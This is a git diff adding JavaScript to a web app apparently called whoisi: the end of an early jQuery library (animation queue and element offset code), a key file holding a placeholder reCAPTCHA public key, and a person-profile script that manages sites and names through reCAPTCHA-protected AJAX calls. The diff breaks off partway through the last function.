+                                               start = e.cur(true) || 0;
+
+                                       if ( parts ) {
+                                               var end = parseFloat(parts[2]),
+                                                       unit = parts[3] || "px";
+
+                                               // We need to compute starting value
+                                               if ( unit != "px" ) {
+                                                       self.style[ name ] = (end || 1) + unit;
+                                                       start = ((end || 1) / e.cur(true)) * start;
+                                                       self.style[ name ] = start + unit;
+                                               }
+
+                                               // If a +=/-= token was provided, we're doing a relative animation
+                                               if ( parts[1] )
+                                                       end = ((parts[1] == "-=" ? -1 : 1) * end) + start;
+
+                                               e.custom( start, end, unit );
+                                       } else
+                                               e.custom( start, val, "" );
+                               }
+                       });
+
+                       // For JS strict compliance
+                       return true;
+               });
+       },
+       
+       queue: function(type, fn){
+               if ( jQuery.isFunction(type) || ( type && type.constructor == Array )) {
+                       fn = type;
+                       type = "fx";
+               }
+
+               if ( !type || (typeof type == "string" && !fn) )
+                       return queue( this[0], type );
+
+               return this.each(function(){
+                       if ( fn.constructor == Array )
+                               queue(this, type, fn);
+                       else {
+                               queue(this, type).push( fn );
+                       
+                               if ( queue(this, type).length == 1 )
+                                       fn.apply(this);
+                       }
+               });
+       },
+
+       stop: function(clearQueue, gotoEnd){
+               var timers = jQuery.timers;
+
+               if (clearQueue)
+                       this.queue([]);
+
+               this.each(function(){
+                       // go in reverse order so anything added to the queue during the loop is ignored
+                       for ( var i = timers.length - 1; i >= 0; i-- )
+                               if ( timers[i].elem == this ) {
+                                       if (gotoEnd)
+                                               // force the next step to be the last
+                                               timers[i](true);
+                                       timers.splice(i, 1);
+                               }
+               });
+
+               // start the next in the queue if the last step wasn't forced
+               if (!gotoEnd)
+                       this.dequeue();
+
+               return this;
+       }
+
+});
+
+var queue = function( elem, type, array ) {
+       if ( !elem )
+               return undefined;
+
+       type = type || "fx";
+
+       var q = jQuery.data( elem, type + "queue" );
+
+       if ( !q || array )
+               q = jQuery.data( elem, type + "queue", 
+                       array ? jQuery.makeArray(array) : [] );
+
+       return q;
+};
+
+jQuery.fn.dequeue = function(type){
+       type = type || "fx";
+
+       return this.each(function(){
+               var q = queue(this, type);
+
+               q.shift();
+
+               if ( q.length )
+                       q[0].apply( this );
+       });
+};
+
+jQuery.extend({
+       
+       speed: function(speed, easing, fn) {
+               var opt = speed && speed.constructor == Object ? speed : {
+                       complete: fn || !fn && easing || 
+                               jQuery.isFunction( speed ) && speed,
+                       duration: speed,
+                       easing: fn && easing || easing && easing.constructor != Function && easing
+               };
+
+               opt.duration = (opt.duration && opt.duration.constructor == Number ? 
+                       opt.duration : 
+                       { slow: 600, fast: 200 }[opt.duration]) || 400;
+       
+               // Queueing
+               opt.old = opt.complete;
+               opt.complete = function(){
+                       if ( opt.queue !== false )
+                               jQuery(this).dequeue();
+                       if ( jQuery.isFunction( opt.old ) )
+                               opt.old.apply( this );
+               };
+       
+               return opt;
+       },
+       
+       easing: {
+               linear: function( p, n, firstNum, diff ) {
+                       return firstNum + diff * p;
+               },
+               swing: function( p, n, firstNum, diff ) {
+                       return ((-Math.cos(p*Math.PI)/2) + 0.5) * diff + firstNum;
+               }
+       },
+       
+       timers: [],
+       timerId: null,
+
+       fx: function( elem, options, prop ){
+               this.options = options;
+               this.elem = elem;
+               this.prop = prop;
+
+               if ( !options.orig )
+                       options.orig = {};
+       }
+
+});
+
+jQuery.fx.prototype = {
+
+       // Simple function for setting a style value
+       update: function(){
+               if ( this.options.step )
+                       this.options.step.apply( this.elem, [ this.now, this ] );
+
+               (jQuery.fx.step[this.prop] || jQuery.fx.step._default)( this );
+
+               // Set display property to block for height/width animations
+               if ( this.prop == "height" || this.prop == "width" )
+                       this.elem.style.display = "block";
+       },
+
+       // Get the current size
+       cur: function(force){
+               if ( this.elem[this.prop] != null && this.elem.style[this.prop] == null )
+                       return this.elem[ this.prop ];
+
+               var r = parseFloat(jQuery.css(this.elem, this.prop, force));
+               return r && r > -10000 ? r : parseFloat(jQuery.curCSS(this.elem, this.prop)) || 0;
+       },
+
+       // Start an animation from one number to another
+       custom: function(from, to, unit){
+               this.startTime = (new Date()).getTime();
+               this.start = from;
+               this.end = to;
+               this.unit = unit || this.unit || "px";
+               this.now = this.start;
+               this.pos = this.state = 0;
+               this.update();
+
+               var self = this;
+               function t(gotoEnd){
+                       return self.step(gotoEnd);
+               }
+
+               t.elem = this.elem;
+
+               jQuery.timers.push(t);
+
+               if ( jQuery.timerId == null ) {
+                       jQuery.timerId = setInterval(function(){
+                               var timers = jQuery.timers;
+                               
+                               for ( var i = 0; i < timers.length; i++ )
+                                       if ( !timers[i]() )
+                                               timers.splice(i--, 1);
+
+                               if ( !timers.length ) {
+                                       clearInterval( jQuery.timerId );
+                                       jQuery.timerId = null;
+                               }
+                       }, 13);
+               }
+       },
+
+       // Simple 'show' function
+       show: function(){
+               // Remember where we started, so that we can go back to it later
+               this.options.orig[this.prop] = jQuery.attr( this.elem.style, this.prop );
+               this.options.show = true;
+
+               // Begin the animation
+               this.custom(0, this.cur());
+
+               // Make sure that we start at a small width/height to avoid any
+               // flash of content
+               if ( this.prop == "width" || this.prop == "height" )
+                       this.elem.style[this.prop] = "1px";
+               
+               // Start by showing the element
+               jQuery(this.elem).show();
+       },
+
+       // Simple 'hide' function
+       hide: function(){
+               // Remember where we started, so that we can go back to it later
+               this.options.orig[this.prop] = jQuery.attr( this.elem.style, this.prop );
+               this.options.hide = true;
+
+               // Begin the animation
+               this.custom(this.cur(), 0);
+       },
+
+       // Each step of an animation
+       step: function(gotoEnd){
+               var t = (new Date()).getTime();
+
+               if ( gotoEnd || t > this.options.duration + this.startTime ) {
+                       this.now = this.end;
+                       this.pos = this.state = 1;
+                       this.update();
+
+                       this.options.curAnim[ this.prop ] = true;
+
+                       var done = true;
+                       for ( var i in this.options.curAnim )
+                               if ( this.options.curAnim[i] !== true )
+                                       done = false;
+
+                       if ( done ) {
+                               if ( this.options.display != null ) {
+                                       // Reset the overflow
+                                       this.elem.style.overflow = this.options.overflow;
+                               
+                                       // Reset the display
+                                       this.elem.style.display = this.options.display;
+                                       if ( jQuery.css(this.elem, "display") == "none" )
+                                               this.elem.style.display = "block";
+                               }
+
+                               // Hide the element if the "hide" operation was done
+                               if ( this.options.hide )
+                                       this.elem.style.display = "none";
+
+                               // Reset the properties, if the item has been hidden or shown
+                               if ( this.options.hide || this.options.show )
+                                       for ( var p in this.options.curAnim )
+                                               jQuery.attr(this.elem.style, p, this.options.orig[p]);
+                       }
+
+                       // If a callback was provided, execute it
+                       if ( done && jQuery.isFunction( this.options.complete ) )
+                               // Execute the complete function
+                               this.options.complete.apply( this.elem );
+
+                       return false;
+               } else {
+                       var n = t - this.startTime;
+                       this.state = n / this.options.duration;
+
+                       // Perform the easing function, defaults to swing
+                       this.pos = jQuery.easing[this.options.easing || (jQuery.easing.swing ? "swing" : "linear")](this.state, n, 0, 1, this.options.duration);
+                       this.now = this.start + ((this.end - this.start) * this.pos);
+
+                       // Perform the next step of the animation
+                       this.update();
+               }
+
+               return true;
+       }
+
+};
+
+jQuery.fx.step = {
+       scrollLeft: function(fx){
+               fx.elem.scrollLeft = fx.now;
+       },
+
+       scrollTop: function(fx){
+               fx.elem.scrollTop = fx.now;
+       },
+
+       opacity: function(fx){
+               jQuery.attr(fx.elem.style, "opacity", fx.now);
+       },
+
+       _default: function(fx){
+               fx.elem.style[ fx.prop ] = fx.now + fx.unit;
+       }
+};
+// The Offset Method
+// Originally By Brandon Aaron, part of the Dimension Plugin
+// http://jquery.com/plugins/project/dimensions
+jQuery.fn.offset = function() {
+       var left = 0, top = 0, elem = this[0], results;
+       
+       if ( elem ) with ( jQuery.browser ) {
+               var parent       = elem.parentNode, 
+                   offsetChild  = elem,
+                   offsetParent = elem.offsetParent, 
+                   doc          = elem.ownerDocument,
+                   safari2      = safari && parseInt(version) < 522 && !/adobeair/i.test(userAgent),
+                   fixed        = jQuery.css(elem, "position") == "fixed";
+       
+               // Use getBoundingClientRect if available
+               if ( elem.getBoundingClientRect ) {
+                       var box = elem.getBoundingClientRect();
+               
+                       // Add the document scroll offsets
+                       add(box.left + Math.max(doc.documentElement.scrollLeft, doc.body.scrollLeft),
+                               box.top  + Math.max(doc.documentElement.scrollTop,  doc.body.scrollTop));
+               
+                       // IE adds the HTML element's border, by default it is medium which is 2px
+                       // IE 6 and 7 quirks mode the border width is overwritable by the following css html { border: 0; }
+                       // IE 7 standards mode, the border is always 2px
+                       // This border/offset is typically represented by the clientLeft and clientTop properties
+                       // However, in IE6 and 7 quirks mode the clientLeft and clientTop properties are not updated when overwriting it via CSS
+                       // Therefore this method will be off by 2px in IE while in quirksmode
+                       add( -doc.documentElement.clientLeft, -doc.documentElement.clientTop );
+       
+               // Otherwise loop through the offsetParents and parentNodes
+               } else {
+               
+                       // Initial element offsets
+                       add( elem.offsetLeft, elem.offsetTop );
+                       
+                       // Get parent offsets
+                       while ( offsetParent ) {
+                               // Add offsetParent offsets
+                               add( offsetParent.offsetLeft, offsetParent.offsetTop );
+                       
+                               // Mozilla and Safari > 2 does not include the border on offset parents
+                               // However Mozilla adds the border for table or table cells
+                               if ( mozilla && !/^t(able|d|h)$/i.test(offsetParent.tagName) || safari && !safari2 )
+                                       border( offsetParent );
+                                       
+                               // Add the document scroll offsets if position is fixed on any offsetParent
+                               if ( !fixed && jQuery.css(offsetParent, "position") == "fixed" )
+                                       fixed = true;
+                       
+                               // Set offsetChild to previous offsetParent unless it is the body element
+                               offsetChild  = /^body$/i.test(offsetParent.tagName) ? offsetChild : offsetParent;
+                               // Get next offsetParent
+                               offsetParent = offsetParent.offsetParent;
+                       }
+               
+                       // Get parent scroll offsets
+                       while ( parent && parent.tagName && !/^body|html$/i.test(parent.tagName) ) {
+                               // Remove parent scroll UNLESS that parent is inline or a table to work around Opera inline/table scrollLeft/Top bug
+                               if ( !/^inline|table.*$/i.test(jQuery.css(parent, "display")) )
+                                       // Subtract parent scroll offsets
+                                       add( -parent.scrollLeft, -parent.scrollTop );
+                       
+                               // Mozilla does not add the border for a parent that has overflow != visible
+                               if ( mozilla && jQuery.css(parent, "overflow") != "visible" )
+                                       border( parent );
+                       
+                               // Get next parent
+                               parent = parent.parentNode;
+                       }
+               
+                       // Safari <= 2 doubles body offsets with a fixed position element/offsetParent or absolutely positioned offsetChild
+                       // Mozilla doubles body offsets with a non-absolutely positioned offsetChild
+                       if ( (safari2 && (fixed || jQuery.css(offsetChild, "position") == "absolute")) || 
+                               (mozilla && jQuery.css(offsetChild, "position") != "absolute") )
+                                       add( -doc.body.offsetLeft, -doc.body.offsetTop );
+                       
+                       // Add the document scroll offsets if position is fixed
+                       if ( fixed )
+                               add(Math.max(doc.documentElement.scrollLeft, doc.body.scrollLeft),
+                                       Math.max(doc.documentElement.scrollTop,  doc.body.scrollTop));
+               }
+
+               // Return an object with top and left properties
+               results = { top: top, left: left };
+       }
+
+       function border(elem) {
+               add( jQuery.curCSS(elem, "borderLeftWidth", true), jQuery.curCSS(elem, "borderTopWidth", true) );
+       }
+
+       function add(l, t) {
+               left += parseInt(l) || 0;
+               top += parseInt(t) || 0;
+       }
+
+       return results;
+};
+})();
diff --git a/whoisi/static/javascript/keys.js.in b/whoisi/static/javascript/keys.js.in
new file mode 100644 (file)
index 0000000..d7339d7
--- /dev/null
@@ -0,0 +1,23 @@
+// Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+//
+// Permission is hereby granted, free of charge, to any person
+// obtaining a copy of this software and associated documentation
+// files (the "Software"), to deal in the Software without
+// restriction, including without limitation the rights to use, copy,
+// modify, merge, publish, distribute, sublicense, and/or sell copies
+// of the Software, and to permit persons to whom the Software is
+// furnished to do so, subject to the following conditions:
+//
+// The above copyright notice and this permission notice shall be
+// included in all copies or substantial portions of the Software.
+//
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+// BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+// ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+// CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+// SOFTWARE.
+
+var recaptcha_public_key = "REPLACE_ME_AND_RENAME_TO_keys.js";
diff --git a/whoisi/static/javascript/person.js b/whoisi/static/javascript/person.js
new file mode 100644 (file)
index 0000000..69c082c
--- /dev/null
@@ -0,0 +1,771 @@
+// Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+//
+// Permission is hereby granted, free of charge, to any person
+// obtaining a copy of this software and associated documentation
+// files (the "Software"), to deal in the Software without
+// restriction, including without limitation the rights to use, copy,
+// modify, merge, publish, distribute, sublicense, and/or sell copies
+// of the Software, and to permit persons to whom the Software is
+// furnished to do so, subject to the following conditions:
+//
+// The above copyright notice and this permission notice shall be
+// included in all copies or substantial portions of the Software.
+//
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+// BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+// ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+// CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+// SOFTWARE.
+
+// So we can use firebug.
+
+try {
+    console.log('init console... done');
+}
+catch(e) {
+    console = { log: function() {} }
+}
+
+// Basic interface for a site that's in the middle of a first poll
+
+function SiteUpdateReceiver() {
+    this.element = null;
+    this.link_collection_item = null;
+}
+
+SiteUpdateReceiver.prototype = {
+    onStatusUpdate: function(data, textStatus) {
+       // Stuff any of the data that we got back from the server on
+       // top of the current link collection item
+       this.link_collection_item.after(data.content);
+       var new_link_collection_item = this.link_collection_item.next()
+       this.link_collection_item.remove();
+       this.link_collection_item = new_link_collection_item;
+
+       if (data.status == "loading") {
+           this.onLoading();
+       }
+       else if (data.status == "captcha_error") {
+           this.onCaptchaError();
+       }
+       else if (data.status == "done") {
+           this.onDone();
+           // Since this is a new site we need to check for any
+           // refreshes for images, etc.  (don't need a reference
+           // here due to the way that attachRefreshTimer works.
+           r = new RefreshSite
+           r.attachRefreshTimer(this.link_collection_item.attr("site-id"));
+       }
+       else if (data.status == "pick_url") {
+           this.onPickURL();
+       }
+       else if (data.status == "error") {
+           console.log("error adding site");
+       }
+       else {
+           console.log("wtf?" + data.status);
+       }
+    },
+
+    onLoading: function() {
+       console.log("onLoading");
+       var obj = this;
+       var callback = function(data, textStatus) {
+           obj.onStatusUpdate(data, textStatus);
+       }
+       this.attachStatusUpdateEvents(callback);
+    },
+
+    onDone: function() {
+       console.log("default onDone");
+    },
+
+    onCaptchaError: function() {
+       console.log("default onCaptchaError");
+    },
+
+    onPickURL: function() {
+       console.log("onPickURL");
+       var obj = this;
+       this.link_collection_item.find(".site-add-pick").each(function() {
+           console.log("attaching");
+           var e = $(this);
+            obj.attachPickHandler(e);
+       });
+    },
+
+    attachPickHandler: function(url) {
+       var obj = this;
+       url.click(function() {
+           var url = $(this);
+           obj.onPickedURL(url);
+           return false;
+       });
+    },
+
+    onPickedURL: function(url) {
+       console.log("onPickedURL");
+       var obj = this;
+       $.getJSON("/siteaddpick", {new_site: url.attr("newsite-id"),
+                                  feed:url.attr("feed-id")},
+           function(data, textStatus) {
+               obj.onStatusUpdate(data, textStatus);
+       });
+    },
+
+    attachStatusUpdateEvents: function(callback) {
+       var add_status = this.link_collection_item.find(".site-add-status");
+       var obj = this;
+       add_status.click(function() {
+           obj.clearStatusUpdateTimer();
+           obj.statusUpdate();
+           return false;
+       });
+       
+       this.setStatusUpdateTimer();
+    },
+
+    clearStatusUpdateTimer: function() {
+       var add_status = this.link_collection_item.find(".site-add-status");
+        var t = add_status.attr("check-timer");
+       if (t) {
+           clearTimeout(t);
+           add_status.removeAttr("check-timer");
+       }
+    },
+
+    setStatusUpdateTimer: function() {
+       var add_status = this.link_collection_item.find(".site-add-status");
+       var obj = this;
+       var f = function() {
+           obj.statusUpdate();
+       }
+       var t = setTimeout(f, 3000);
+       add_status.attr("check-timer", t);
+    },
+
+    statusUpdate: function() {
+       this.clearStatusUpdateTimer();
+       var add_status = this.link_collection_item.find(".site-add-status");
+       var obj = this;
+       $.getJSON("/siteaddstatus", {new_site: add_status.attr("newsite-id")},
+                 function(data, textStatus) {
+                     obj.onStatusUpdate(data, textStatus);
+                 });
+    }
+
+};
+
+// Code for an explicit add.  While a site is being added the add
+// link is hidden and is re-shown once the load is finished.
+
+AddNewSite = function() {
+    this.base = SiteUpdateReceiver;
+    this.base();
+}
+
+AddNewSite.prototype = new SiteUpdateReceiver;
+
+AddNewSite.prototype.setSiteAdd = function(site_add) {
+       this.site_add = site_add;
+}
+
+AddNewSite.prototype.loadAddForm = function() {
+    var obj = this;
+    $.getJSON("/siteaddform", {person: this.site_add.attr("person-id")},
+             function(data, textStatus) {
+                 obj.onAddFormLoaded(data, textStatus);
+             });
+}
+
+AddNewSite.prototype.onAddFormLoaded = function(data, textStatus) {
+    console.log("add form loaded");
+    // Add the new site form as the first element of the link-collection
+    // link (up) -> link-result (next) -> link-collection
+    var link_collection = this.site_add.parent().parent().next();
+
+    // Stick the new form data into the link-collection
+    link_collection.prepend(data.content);
+
+    // And save our link_collection_item for later
+    this.link_collection_item = link_collection.children(":first");
+
+    this.attachAddFormEvents();
+}
+
+AddNewSite.prototype.attachAddFormEvents = function() {
+    // Focus the form element
+    this.url = this.link_collection_item.find("[name=url]").focus();
+
+    // Trigger adding the captcha
+    this.rec = this.link_collection_item.find(".recaptcha").get(0);
+    request_recaptcha(this.rec);
+
+    // Add the event handler to submit the new site
+    this.add = this.link_collection_item.find("[name=add]");
+
+    var obj = this;
+    this.add.click(function() { obj.addFormSubmit() });
+
+    // Add cancel button
+    this.add_cancel = this.link_collection_item.find("[name=add-cancel]");
+    this.add_cancel.click(function() {
+           Recaptcha.destroy();
+           obj.link_collection_item.remove()});
+}
+
+AddNewSite.prototype.onCaptchaError = function() {
+    console.log("AddNewSite.onCaptchaError");
+    this.attachAddFormEvents();
+}
+
+AddNewSite.prototype.addFormSubmit = function() {
+    console.log("submitting add form");
+    this.add.attr("disabled", true);
+    this.add_cancel.attr("disabled", true);
+    var person = this.link_collection_item.find("[name=person]");
+    var obj = this;
+    console.log("addFormSubmit " + this.url.val() + " " + person.val());
+    $.getJSON("/siteaddpost", { url: this.url.val(),
+               person: person.val(),
+               recaptcha_challenge_field: Recaptcha.get_challenge(),
+               recaptcha_response_field:  Recaptcha.get_response()
+               },
+             function(data, textStatus) {
+                 obj.onStatusUpdate(data, textStatus);
+             });
+    return false;
+}
+
+// Interface for a site that's in the middle of being added when a
+// person's profile is loaded.  Should just update without doing too
+// much special.
+
+InProgressSite = function() {
+    this.base = SiteUpdateReceiver;
+    this.base();
+}
+
+InProgressSite.prototype = new SiteUpdateReceiver;
+
+InProgressSite.prototype.setAddStatus = function(add_status) {
+    this.add_status = add_status;
+    this.link_collection_item = add_status.parents(".link-collection-item");
+    var obj = this;
+    var callback = function(data, textStatus) {
+       obj.onStatusUpdate(data, textStatus);
+    }
+    this.attachStatusUpdateEvents(callback);
+}
+
+// Class that's used whenever we find a url that needs to be picked
+PickSite = function() {
+    this.base = SiteUpdateReceiver;
+    this.base();
+}
+
+PickSite.prototype = new SiteUpdateReceiver;
+
+PickSite.prototype.setPick = function(link_collection_item) {
+    console.log("setPick");
+    console.log(link_collection_item);
+    this.link_collection_item = link_collection_item;
+    this.onPickURL();
+}
+
+// Class that refreshes an entry
+
+RefreshSite = function () {
+}
+    
+RefreshSite.prototype = {
+    setLinkCollectionItem: function(link_collection_item) {
+       this.link_collection_item = link_collection_item;
+       this.site_id = this.link_collection_item.attr("site-id");
+    },
+
+    setUpdateTimer: function() {
+       var obj = this;
+       var f = function() {
+           obj.onRefreshTimer();
+       }
+       var t = setTimeout(f, 2000);
+    },
+
+    onRefreshTimer: function() {
+       console.log("onRefreshTimer");
+       var obj = this;
+       $.getJSON("/siterefresh", {site_id: this.site_id},
+                 function(data, textStatus) {
+                     obj.onRefresh(data, textStatus);
+                 });
+    },
+
+    onRefresh: function(data, textStatus) {
+       // Replace with the new entry
+       this.link_collection_item.replaceWith(data.content);
+       // And re-attach any timers if it still needs a refresh
+       this.attachRefreshTimer(this.site_id);
+    },
+
+    attachRefreshTimer: function(site_id) {
+       var s = ".link-collection-item[needs-refresh=True][site-id=" + site_id + "]";
+       $(s).each(function() {
+            var r = new RefreshSite;
+            var lci = $(this);
+           r.setLinkCollectionItem(lci);
+           r.setUpdateTimer();
+       });
+    }
+}
+
+RemoveSite = function() {
+}
+
+RemoveSite.prototype = {
+    setSite: function(el) {
+       this.remove = el
+       // remove -> span -> link-collection-item
+        this.link_collection_item = el.parent().parent();
+    },
+
+    loadRemoveForm: function() {
+       console.log("loadRemoveForm");
+       var obj = this;
+       $.getJSON("/siteremoveform", {site: this.remove.attr("site-id")},
+                 function(data, textStatus) {
+                     obj.onRemoveFormLoaded(data, textStatus);
+                 });
+    },
+
+    onRemoveFormLoaded: function(data, textStatus) {
+        console.log("onRemoveFormLoaded");
+
+       // Append the form to after this site
+        this.link_collection_item.after(data.content);
+
+       this.lci_form = this.link_collection_item.next()
+
+       // Add the event handler to remove the site
+       this.remove = this.lci_form.find("[name=site-remove-button]");
+
+       // Trigger adding the captcha
+       this.rec = this.lci_form.find(".recaptcha").get(0);
+       request_recaptcha(this.rec);
+
+       var obj = this;
+       this.remove.click(function() { obj.removeFormSubmit() });
+
+       // Cancel button
+       this.remove_cancel = this.lci_form.find("[name=site-remove-cancel]");
+       this.remove_cancel.click(function() {
+           Recaptcha.destroy();
+           obj.lci_form.remove()
+       });
+    },
+
+    removeFormSubmit: function() {
+        console.log("removeFormSubmit");
+       this.remove.attr("disabled", true);
+       this.remove_cancel.attr("disabled", true);
+
+       var site = this.lci_form.find("[name=site]");
+       console.log("removeFormSubmit " + site.val());
+
+       var obj = this;
+       $.getJSON("/siteremove", {site: site.val(),
+                   recaptcha_challenge_field: Recaptcha.get_challenge(),
+                   recaptcha_response_field:  Recaptcha.get_response()},
+           function(data, textStatus) {
+               obj.onStatusUpdate(data, textStatus);
+           });
+
+       this.lci_form.remove();
+
+       return false;
+    },
+
+    onStatusUpdate: function(data, textStatus) {
+       console.log("onStatusUpdate");
+
+       if (data.status == "done") {
+           console.log("done");
+           this.link_collection_item.remove();
+       }
+       else if (data.status == "captcha_error") {
+           this.onRemoveFormLoaded(data, textStatus);
+       }
+    }
+}
+
+ChangeName = function() {
+}
+
+ChangeName.prototype = {
+    setName: function(el) {
+       this.name_el = el;
+       this.primary_name = this.name_el.parents(".link-result").find("[name=primary-name]")
+    },
+
+    loadChangeForm: function() {
+        console.log("loadChangeForm");
+       var obj = this;
+       $.getJSON("/nameupdateform", {person: this.name_el.attr("person-id")},
+                 function(data, textStatus) {
+                     obj.onChangeFormLoaded(data, textStatus);
+                 });
+    },
+
+    onChangeFormLoaded: function(data, textStatus) {
+       console.log("onChangeFormLoaded");
+       // Walk through the DOM and insert the form as the first link
+       // collection item
+       var link_collection = this.name_el.parents(".link-result").next();
+       
+       // Stick the new form data into the link-collection
+       link_collection.prepend(data.content);
+
+       // And save it for later
+       this.link_collection_item = link_collection.children(":first");
+
+       // Add the event handler to submit the new site
+       this.update = this.link_collection_item.find("[name=name-update-button]");
+
+       // Trigger adding the captcha
+       this.rec = this.link_collection_item.find(".recaptcha").get(0);
+       request_recaptcha(this.rec);
+
+       var obj = this;
+       this.update.click(function() { obj.updateFormSubmit() });
+
+       // Cancel button
+       this.update_cancel = this.link_collection_item.find("[name=name-update-cancel]");
+       this.update_cancel.click(function() {
+               Recaptcha.destroy();
+               obj.link_collection_item.remove()});
+    },
+
+    updateFormSubmit: function() {
+       console.log("updateFormSubmit");
+       var name = this.link_collection_item.find("[name=newname]").val();
+       var person = this.link_collection_item.find("[name=person]").val();
+
+       console.log("updateFormSubmit " + name + " " + person);
+
+       var obj = this;
+       $.getJSON("/nameupdate", {name: name, person: person,
+                   recaptcha_challenge_field: Recaptcha.get_challenge(),
+                   recaptcha_response_field:  Recaptcha.get_response()},
+           function(data, textStatus) {
+               obj.onStatusUpdate(data, textStatus);
+           });
+
+       this.link_collection_item.remove();
+
+       return false;
+    },
+
+    onStatusUpdate: function(data, textStatus) {
+       console.log("onStatusUpdate");
+
+       if (data.status == "done") {
+           console.log("done");
+           this.primary_name.text(data.name)
+       }
+       else if (data.status == "captcha_error") {
+           this.onChangeFormLoaded(data, textStatus);
+       }
+    }
+}
+
+RemoveName = function() {
+}
+
+RemoveName.prototype = {
+    setName: function(el) {
+       this.name_el = el;
+    },
+
+    loadRemoveForm: function() {
+       var obj = this;
+       $.getJSON("/nameremoveform", {person: this.name_el.attr("person-id"),
+                                     name: this.name_el.attr("name-id")},
+           function(data, textStatus) {
+               obj.onRemoveFormLoaded(data, textStatus);
+           });
+    },
+
+    onRemoveFormLoaded: function(data, textStatus) {
+       console.log("onRemoveFormLoaded");
+       // Walk up the DOM and find the link result - the link
+       // collection is the next element after that.
+       var link_collection = this.name_el.parents(".link-result").next();
+
+       // Stick the new data into the link-collection
+       link_collection.prepend(data.content);
+
+       // And save it for later
+       this.link_collection_item = link_collection.children(":first");
+
+       // Add the event handler to remove this name
+       this.remove = this.link_collection_item.find("[name=name-remove-button]");
+
+       // Trigger adding the captcha
+       this.rec = this.link_collection_item.find(".recaptcha").get(0);
+       request_recaptcha(this.rec);
+
+       var obj = this;
+       this.remove.click(function() { obj.removeFormSubmit() });
+
+       // Cancel button
+       this.remove_cancel = this.link_collection_item.find("[name=name-remove-cancel]");
+       this.remove_cancel.click(function() {
+               Recaptcha.destroy();
+               obj.link_collection_item.remove()});
+    },
+
+    removeFormSubmit: function() {
+       console.log("submitting remove form");
+       this.remove.attr("disabled", true);
+       this.remove_cancel.attr("disabled", true);
+
+       var person = this.link_collection_item.find("[name=person]");
+       var name = this.link_collection_item.find("[name=name]");
+
+       console.log("removeFormSubmit " + person.val() + " " + name.val());
+
+       var obj = this;
+       $.getJSON("/nameremove", {person: person.val(), name: name.val(),
+                   recaptcha_challenge_field: Recaptcha.get_challenge(),
+                   recaptcha_response_field:  Recaptcha.get_response()},
+           function(data, textStatus) {
+               obj.onStatusUpdate(data, textStatus);
+           });
+
+       // Remove the form now that we're done with it
+       this.link_collection_item.remove();
+
+       return false;
+    },
+
+    onStatusUpdate: function(data, textStatus) {
+       console.log("onStatusUpdate");
+
+       if (data.status == "done") {
+           console.log("done");
+           this.name_el.parents(".other-names").replaceWith(data.content);
+       }
+       else if (data.status == "captcha_error") {
+           this.onRemoveFormLoaded(data, textStatus);
+       }
+    }
+}
+
+AddNewName = function() {
+}
+
+AddNewName.prototype = {
+    setName: function(el) {
+       this.add_name = el;
+    },
+
+    loadAddForm: function() {
+       console.log("loadAddForm");
+       var obj = this;
+       $.getJSON("/nameaddform", {person: this.add_name.attr("person-id")},
+                 function(data, textStatus) {
+                     obj.onAddFormLoaded(data, textStatus);
+                 });
+    },
+
+    onAddFormLoaded: function(data, textStatus) {
+       console.log("name add form loaded");
+       // Walk through the DOM getting the first link-collection-item
+       // link (up) -> span (up) -> link-result (next) -> link-collection
+       var link_collection = this.add_name.parent().parent().next();
+
+       // Stick the new form data into the link-collection
+       link_collection.prepend(data.content);
+
+       // And save it for later
+       this.link_collection_item = link_collection.children(":first");
+
+       // Focus the form element
+       this.new_name = this.link_collection_item.find("[name=newname]").focus();
+
+       // Add the event handler to submit the new site
+       this.add = this.link_collection_item.find("[name=name-add-button]");
+
+       // Trigger adding the captcha
+       this.rec = this.link_collection_item.find(".recaptcha").get(0);
+       request_recaptcha(this.rec);
+
+       var obj = this;
+       this.add.click(function() { obj.addFormSubmit() });
+
+       // Cancel button
+       this.add_cancel = this.link_collection_item.find("[name=name-add-cancel]");
+       this.add_cancel.click(function() {
+               Recaptcha.destroy();
+               obj.link_collection_item.remove()});
+    },
+
+    addFormSubmit: function() {
+       console.log("submitting new name");
+       var person = this.link_collection_item.find("[name=person]");
+       var obj = this;
+       console.log("onFormSubmit " + this.new_name.val() + " " + person.val());
+
+       // Add the name - this will return a new set of aliases for us to render
+       $.getJSON("/nameadd", {name: this.new_name.val(), person: person.val(),
+                   recaptcha_challenge_field: Recaptcha.get_challenge(),
+                   recaptcha_response_field:  Recaptcha.get_response()},
+                 function(data, textStatus) {
+                     obj.onAddDone(data, textStatus);
+                 });
+
+       // Remove the form now that we're done with it
+       this.link_collection_item.remove();
+
+       return false;
+    },
+
+    onAddDone: function(data, textStatus) {
+       console.log("onAddDone");
+
+       if (data.status == "done") {
+           console.log("done");
+           // Reset the aliases with what was returned from the server
+           this.add_name.parent().parent().find(".other-names").replaceWith(data.content);
+
+           // And attach any remove handlers in the new aliases
+           this.add_name.parent().parent().find(".other-names").find(".name-remove").click(function() {
+               var obj = $(this);
+               rn = new RemoveName;
+               rn.setName(obj);
+               rn.loadRemoveForm();
+               return false;
+           });
+       }
+       else if (data.status == "captcha_error") {
+           this.onAddFormLoaded(data, textStatus);
+       }
+    }
+}
+
+function request_recaptcha(el) {
+    Recaptcha.create(recaptcha_public_key,
+                    el,
+                    { theme: "clean",
